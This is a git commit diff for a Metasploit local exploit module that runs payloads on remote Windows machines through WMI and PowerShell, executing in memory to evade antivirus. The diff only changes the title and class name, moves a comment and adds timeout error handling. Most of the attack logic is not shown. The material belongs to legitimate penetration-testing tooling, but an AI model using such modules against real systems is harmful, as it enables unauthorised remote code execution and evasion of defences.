Title change and handling Rex::TimeoutError exception

bug/bundler_fix
wchen-r7 2016-11-16 16:23:44 -06:00
parent 7b83720b90
commit e1ff37f3eb
1 changed files with 17 additions and 11 deletions

View File

@ -1,20 +1,15 @@
# -*- coding: binary -*-
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# Ideally the methods to create WMI wrapper functions and their callers
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
##
require 'msf/core'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/powershell/dot_net'
class Metasploit3 < Msf::Exploit::Local
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
@ -23,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
def initialize(info={})
super(update_info(info,
'Name' => "Authenticated WMI Exec via Powershell (Local Exploit)",
'Name' => "Authenticated WMI Exec via Powershell",
'Description' => %q{
This module uses WMI execution to launch a payload instance on a remote machine.
In order to avoid AV detection, all execution is performed in memory via psh-net
@ -117,7 +112,6 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
# Make sure we meet the requirements before running the script
unless have_powershell?
fail_with(Failure::BadConfig, 'PowerShell not found')
@ -137,7 +131,13 @@ class Metasploit3 < Msf::Exploit::Local
return
end
print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}")
begin
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
print_good(psh_output)
rescue Rex::TimeoutError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
vprint_good('PSH WMI exec is complete.')
end
@ -176,7 +176,13 @@ EOS
EOS
return ps_wrapper
return ps_wrapper
end
end
#
# Ideally the methods to create WMI wrapper functions and their callers
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
#